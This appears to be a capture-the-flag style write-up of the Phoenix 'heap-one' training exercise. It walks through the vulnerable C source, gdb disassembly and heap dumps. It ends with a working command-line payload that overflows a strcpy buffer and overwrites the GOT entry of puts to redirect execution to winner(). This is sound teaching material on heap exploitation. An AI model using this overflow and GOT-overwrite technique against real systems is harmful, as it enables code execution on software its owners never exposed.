phoenix - heap 1

8 minute read

Lets list the files using ls -la,

user@phoenix-amd64:~$ ls -la
total 40
drwxr-xr-x 2 user user  4096 Jun 24 10:43 .
drwxr-xr-x 3 root root  4096 Jan 13  2019 ..
-rw-r--r-- 1 user user  3526 Jan 13  2019 .bashrc
-rw-r--r-- 1 user user   675 Jan 13  2019 .profile
-rwxr-xr-x 1 user user 21584 Jun 24 10:43 heap-one

Lets analyse the file type of the binary using file command,

We will be using 32 bit binary due to our memory address issue caused by null bytes

user@phoenix-amd64:~$ file heap-one
heap-one: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1, not stripped

It is a not stripped binary, so we can view the symbols in it

Lets try running this binary,

user@phoenix-amd64:~$ ./heap-one
Segmentation fault
user@phoenix-amd64:~$ ./heap-one monish
Segmentation fault
user@phoenix-amd64:~$ ./heap-one monish monish
and that's a wrap folks!
user@phoenix-amd64:~$ ./heap-one monish monish monish
and that's a wrap folks!

So it is dependent on the argv input

Lets view the source code for proper understanding,

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct heapStructure {
  int priority;
  char *name;
};

int main(int argc, char **argv) {
  struct heapStructure *i1, *i2;

  i1 = malloc(sizeof(struct heapStructure));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct heapStructure));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

void winner() {
  printf(
      "Congratulations, you've completed this level @ %ld seconds past the "
      "Epoch\n",
      time(NULL));
}

Here our program takes two arguments from input argv[1] and argv[2]

And we have a struct in this program named heapStructure,

struct heapStructure {
  int priority;
  char *name;
};

Here we have an int named priority and char named name , which are allocated dynamically

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

Here argv[1] and argv[2] gets stored into i1 and i2 respectively with the help of strcpy

strcpy is a vulnerable function which doesn’t use memory boundaries. We can use this as our advantage to overwrite other addresses

Lets list the functions available in the binary using our debugger,

(gdb) info functions

.....

0x08048790  frame_dummy
0x080487d5  main
0x0804889a  winner

.....

So our target function winner is at 0x0804889a

Disassembling main(),

(gdb) disas main
Dump of assembler code for function main:
   0x080487d5 <+0>:	lea    ecx,[esp+0x4]
   0x080487d9 <+4>:	and    esp,0xfffffff0
   0x080487dc <+7>:	push   DWORD PTR [ecx-0x4]
   0x080487df <+10>:	push   ebp
   0x080487e0 <+11>:	mov    ebp,esp
   0x080487e2 <+13>:	push   ebx
   0x080487e3 <+14>:	push   ecx
   0x080487e4 <+15>:	sub    esp,0x10
   0x080487e7 <+18>:	mov    ebx,ecx
   0x080487e9 <+20>:	sub    esp,0xc
   0x080487ec <+23>:	push   0x8
   0x080487ee <+25>:	call   0x80490dc <malloc>
   0x080487f3 <+30>:	add    esp,0x10
   0x080487f6 <+33>:	mov    DWORD PTR [ebp-0xc],eax
   0x080487f9 <+36>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080487fc <+39>:	mov    DWORD PTR [eax],0x1
   0x08048802 <+45>:	sub    esp,0xc
   0x08048805 <+48>:	push   0x8
   0x08048807 <+50>:	call   0x80490dc <malloc>
   0x0804880c <+55>:	add    esp,0x10
   0x0804880f <+58>:	mov    edx,eax
   0x08048811 <+60>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048814 <+63>:	mov    DWORD PTR [eax+0x4],edx
   0x08048817 <+66>:	sub    esp,0xc
   0x0804881a <+69>:	push   0x8
   0x0804881c <+71>:	call   0x80490dc <malloc>
   0x08048821 <+76>:	add    esp,0x10
   0x08048824 <+79>:	mov    DWORD PTR [ebp-0x10],eax
   0x08048827 <+82>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0804882a <+85>:	mov    DWORD PTR [eax],0x2
   0x08048830 <+91>:	sub    esp,0xc
   0x08048833 <+94>:	push   0x8
   0x08048835 <+96>:	call   0x80490dc <malloc>
   0x0804883a <+101>:	add    esp,0x10
   0x0804883d <+104>:	mov    edx,eax
   0x0804883f <+106>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048842 <+109>:	mov    DWORD PTR [eax+0x4],edx
   0x08048845 <+112>:	mov    eax,DWORD PTR [ebx+0x4]
   0x08048848 <+115>:	add    eax,0x4
   0x0804884b <+118>:	mov    edx,DWORD PTR [eax]
   0x0804884d <+120>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048850 <+123>:	mov    eax,DWORD PTR [eax+0x4]
   0x08048853 <+126>:	sub    esp,0x8
   0x08048856 <+129>:	push   edx
   0x08048857 <+130>:	push   eax
   0x08048858 <+131>:	call   0x8048560 <strcpy@plt>
   0x0804885d <+136>:	add    esp,0x10
   0x08048860 <+139>:	mov    eax,DWORD PTR [ebx+0x4]
   0x08048863 <+142>:	add    eax,0x8
   0x08048866 <+145>:	mov    edx,DWORD PTR [eax]
   0x08048868 <+147>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0804886b <+150>:	mov    eax,DWORD PTR [eax+0x4]
   0x0804886e <+153>:	sub    esp,0x8
   0x08048871 <+156>:	push   edx
   0x08048872 <+157>:	push   eax
   0x08048873 <+158>:	call   0x8048560 <strcpy@plt>
   0x08048878 <+163>:	add    esp,0x10
   0x0804887b <+166>:	sub    esp,0xc
   0x0804887e <+169>:	push   0x804ab70
   0x08048883 <+174>:	call   0x80485b0 <puts@plt>
   0x08048888 <+179>:	add    esp,0x10
   0x0804888b <+182>:	mov    eax,0x0
   0x08048890 <+187>:	lea    esp,[ebp-0x8]
   0x08048893 <+190>:	pop    ecx
   0x08048894 <+191>:	pop    ebx
   0x08048895 <+192>:	pop    ebp
   0x08048896 <+193>:	lea    esp,[ecx-0x4]
   0x08048899 <+196>:	ret

Lets set our breakpoint and analyze our heap memory,

   0x08048866 <+145>:	mov    edx,DWORD PTR [eax]
   0x08048868 <+147>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0804886b <+150>:	mov    eax,DWORD PTR [eax+0x4]
   0x0804886e <+153>:	sub    esp,0x8
   0x08048871 <+156>:	push   edx
   0x08048872 <+157>:	push   eax 
   0x08048873 <+158>:	call   0x8048560 <strcpy@plt>
-> 0x08048878 <+163>:	add    esp,0x10
   0x0804887b <+166>:	sub    esp,0xc

Lets fix our break point here so that we can check our values

(gdb) b *0x08048878
Breakpoint 1 at 0x8048878

(gdb) r AAAABBBB CCCCDDDD
Starting program: /home/user/heap-one AAAABBBB CCCCDDDD

Breakpoint 1, 0x08048878 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xf7e69038    "CCCCDDDD"
$ebx   : 0xffffd720    0x00000003
$ecx   : 0x0
$edx   : 0xffffd8e3    0x5f534c00
$esp   : 0xffffd6e0    0xf7e69038    "CCCCDDDD"
$ebp   : 0xffffd708    0xffffd7a4    0xffffd8e4    "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$esi   : 0xffffd794    0xffffd8be    "/home/user/heap-one"
$edi   : 0x3
$eip   : 0x08048878    <main+163> add esp, 0x10
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd6e0+0x0000: 0xf7e69038    "CCCCDDDD"	  $esp
0xffffd6e4+0x0004: 0xffffd8db    "CCCCDDDD"
0xffffd6e8+0x0008: 0x00000000
0xffffd6ec+0x000c: 0x00000000
0xffffd6f0+0x0010: 0x00000000
0xffffd6f4+0x0014: 0x00000000
0xffffd6f8+0x0018: 0xf7e69028    0x00000002
0xffffd6fc+0x001c: 0xf7e69008    0x00000001
─────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804886f <main+154>       in     al, dx
    0x8048870 <main+155>       or     BYTE PTR [edx+0x50], dl
    0x8048873 <main+158>       call   0x8048560 <strcpy@plt>
   0x8048878 <main+163>       add    esp, 0x10
    0x804887b <main+166>       sub    esp, 0xc
    0x804887e <main+169>       push   0x804ab70
    0x8048883 <main+174>       call   0x80485b0 <puts@plt>
    0x8048888 <main+179>       add    esp, 0x10
    0x804888b <main+182>       mov    eax, 0x0
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "heap-one", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048878  main()
────────────────────────────────────────────────────────────────────────────────────────────────────

Lets check our values,

(gdb) print $ebp-0xc
$1 = (void *) 0xffffd6fc

(gdb) x/xw 0xffffd6fc
0xffffd6fc:	0xf7e69008

Values for i1 is at 0xf7e69008,

(gdb) x/20x 0xf7e69008
0xf7e69008:	0x00000001	0xf7e69018	0x00000000	0x00000011
0xf7e69018:	0x41414141	0x42424242	0x00000000	0x00000011
0xf7e69028:	0x00000002	0xf7e69038	0x00000000	0x00000011
0xf7e69038:	0x43434343	0x44444444	0x00000000	0x000fffc1
0xf7e69048:	0x00000000	0x00000000	0x00000000	0x00000000

Here are our values in heap

The values of priority (1,2) and name (argv[1],argv[2]) are stored here

v1->priority -----          ----- address for i1->name to write
                           
0xf7e69008:	0x00000001	0xf7e69018	0x00000000	0x00000011
0xf7e69018:	0x41414141	0x42424242	0x00000000	0x00000011
                
                ----- v1->name data

v2->priority -----          ----- address for i2->name to write
                           
0xf7e69028:	0x00000002	0xf7e69038	0x00000000	0x00000011
0xf7e69038:	0x43434343	0x44444444	0x00000000	0x000fffc1
                
                ----- v2->name data

While entering input, we cannot overwrite 0xf7e69018,

But we can overwrite 0xf7e69038 with our input

We need 20 bytes to reach the place of 0xf7e69038

If we place some address after 20 bytes, we can write our own value into the address from our argv[2] input data

Lets try our exploit,

(gdb) r $(python -c "print('A'*20+'BBBB')") CCCCDDDD
Starting program: /home/user/heap-one $(python -c "print('A'*20+'BBBB')") CCCCDDDD

Program received signal SIGSEGV, Segmentation fault.
0xf7f840db in stpcpy () from /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x42424242 ("BBBB"?)
$ebx   : 0xf7ffb000    0x0008dedc
$ecx   : 0x43
$edx   : 0xffffd8db    "CCCCDDDD"
$esp   : 0xffffd6a4    0xf7ffb000    0x0008dedc
$ebp   : 0xffffd6f8    0xffffd794    0xffffd8e4    "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$esi   : 0x42424242 ("BBBB"?)
$edi   : 0x3
$eip   : 0xf7f840db    <stpcpy+59> mov BYTE PTR [eax], cl
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd6a4+0x0000: 0xf7ffb000    0x0008dedc	  $esp
0xffffd6a8+0x0004: 0x42424242
0xffffd6ac+0x0008: 0xf7f8453e    <strcpy+30> add esp, 0x14
0xffffd6b0+0x000c: 0x42424242
0xffffd6b4+0x0010: 0xffffd8db    "CCCCDDDD"
0xffffd6b8+0x0014: 0x00000008
0xffffd6bc+0x0018: 0x00000008
0xffffd6c0+0x001c: 0xf7f84527    <strcpy+7> add ebx, 0x76ad9
─────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7f840d3 <stpcpy+51>      add    eax, 0x1
   0xf7f840d6 <stpcpy+54>      movzx  ecx, BYTE PTR [edx]
   0xf7f840d9 <stpcpy+57>      test   cl, cl
  0xf7f840db <stpcpy+59>      mov    BYTE PTR [eax], cl
   0xf7f840dd <stpcpy+61>      jne    0xf7f840d0 <stpcpy+48>
   0xf7f840df <stpcpy+63>      pop    ebx
   0xf7f840e0 <stpcpy+64>      pop    esi
   0xf7f840e1 <stpcpy+65>      ret
   0xf7f840e2 <stpcpy+66>      lea    esi, [esi+0x0]
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "heap-one", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7f840db  stpcpy()
[#1] 0xf7f8453e  strcpy()
────────────────────────────────────────────────────────────────────────────────────────────────────

Now lets view our heap values,

(gdb) x/20w 0xf7e69008
v2->priority -----          ----- address for i2->name to write
                           
0xf7e69008:	0x00000001	0xf7e69018	0x00000000	0x00000011
0xf7e69018:	0x41414141	0x41414141	0x41414141	0x41414141

(overwritten)               (overwritten)
v2->priority -----          ----- address for i2->name to write
                           
0xf7e69028:	0x41414141	0x42424242	0x00000000	0x00000011
0xf7e69038:	0x00000000	0x00000000	0x00000000	0x000fffc1
0xf7e69048:	0x00000000	0x00000000	0x00000000	0x00000000

Its time to hijack our winner() function by GOT overwrite

We need all neccessary functions to place our data into heap, except puts(),

Lets get the GOT address of puts(),

(gdb) x/3i 0x80485b0
   0x80485b0 <puts@plt>:	jmp    DWORD PTR ds:0x804c140
   0x80485b6 <puts@plt+6>:	push   0x28
   0x80485bb <puts@plt+11>:	jmp    0x8048550

Therfore the GOT address of puts() is 0x804c140

(gdb) x/s 0x804c140
0x804c140 <puts@got.plt>:	"\356\210\373\367*?\372\367jo\373\367)@\372\367\024\031\371\367\341\335\373\367\360C\374\367\063\373\370\367\037\366\370\367"

Now, lets overwrite the GOT of puts() with winner(),

Running out exploit,

user@phoenix-amd64:~$ ./heap-one $(python -c "print('A'*20+'\x40\xc1\x04\x08')")  $(python -c "print('\x9a\x88\x04\x08')")
Congratulations, you've completed this level @ 1625324831 seconds past the Epoch

Done! we have completed “heap-one” challenge